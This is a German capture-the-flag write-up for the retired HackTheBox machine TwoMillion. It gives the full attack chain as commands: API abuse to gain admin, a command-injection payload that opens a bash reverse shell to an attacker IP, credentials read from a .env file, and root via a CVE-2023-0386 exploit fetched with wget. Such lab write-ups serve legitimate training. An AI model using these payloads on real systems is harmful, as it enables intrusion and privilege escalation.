HTB-TwoMillion-Writeup

HackTheBox TwoMillion Maschinen-Writeup — API-Missbrauch, Befehlsinjektion & CVE-2023-0386

HackTheBox — TwoMillion Writeup

HackTheBox — TwoMillion Writeup

Maschineninfo

Zusammenfassung

TwoMillion ist eine einfache Linux-Maschine, die sich um die alte HackTheBox-Plattform dreht. Sie umfasst das Dekodieren eines Einladungscodes, das Missbrauchen von API-Endpunkten, OS-Befehlsinjektion, das Auffinden von Anmeldeinformationen und eine Linux-Kernel-Privilegienausweitung via CVE-2023-0386 (OverlayFS).

Aufklärung

Nmap

nmap -sV -sC -v 10.10.11.221

Offene Ports:

• 22 — OpenSSH 8.9p1
• 80 — HTTP nginx → leitet auf 2million.htb weiter

Zu /etc/hosts hinzufügen:

echo "10.10.11.221 2million.htb" >> /etc/hosts

Schritt 1 — Einladungscode

curl -X POST http://2million.htb/api/v1/invite/how/to/generate

Antwort ist ROT13-kodiert. Dekodieren:

echo "Va beqre gb trarengr..." | tr 'A-Za-z' 'N-ZA-Mn-za-m'

Einladungscode generieren:

curl -X POST http://2million.htb/api/v1/invite/generate
echo "BASE64==" | base64 -d

Registrieren unter http://2million.htb/register mit dem dekodierten Einladungscode.

Schritt 2 — API-Missbrauch → Admin

Einloggen über Browser, PHPSESSID aus Cookies holen (F12 → Anwendung → Cookies).

Zum Admin eskalieren:

curl -X PUT http://2million.htb/api/v1/admin/settings/update \
  -b "PHPSESSID=<your_session>" \
  -H "Content-Type: application/json" \
  --data '{"email":"[email protected]","is_admin":1}'

Überprüfen:

curl -b "PHPSESSID=<your_session>" http://2million.htb/api/v1/admin/auth
# {"message":true}

Schritt 3 — Befehlsinjektion → Reverse Shell

Listener starten:

nc -lvnp 4444

Reverse-Shell-Payload senden:

curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \
  -b "PHPSESSID=<your_session>" \
  -H "Content-Type: application/json" \
  --data '{"username":"test;bash -c '"'"'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"'"' #"}'

Shell als www-data empfangen.

Schritt 4 — User-Flag

Anmeldeinformationen in .env finden:

cat /var/www/html/.env
# DB_USERNAME=admin
# DB_PASSWORD=SuperDuperPass123

SSH einloggen:

ssh [email protected]
cat ~/user.txt

Schritt 5 — Root-Flag (CVE-2023-0386)

Hinweis prüfen:

cat /var/mail/admin
uname -r
# 5.15.70 — anfällig für CVE-2023-0386

Exploit auf Kali herunterladen und kompilieren:

git clone https://github.com/xkaneiki/CVE-2023-0386
cd CVE-2023-0386
make all

Auf das Ziel übertragen:

# Kali
python3 -m http.server 8000

# Ziel
wget http://YOUR_IP:8000/exploit.zip
unzip exploit.zip
make all

In zwei Terminals auf dem Ziel ausführen:

Terminal 1:

./fuse ./ovlcap/lower ./gc

Terminal 2:

./exp

Root-Flag holen:

cat /root/root.txt

Angriffskette

Verwendete Werkzeuge

• Nmap
• curl
• Netcat
• CVE-2023-0386 PoC

Dieser Writeup dient nur zu Bildungszwecken auf einer ausgemusterten HackTheBox-Maschine.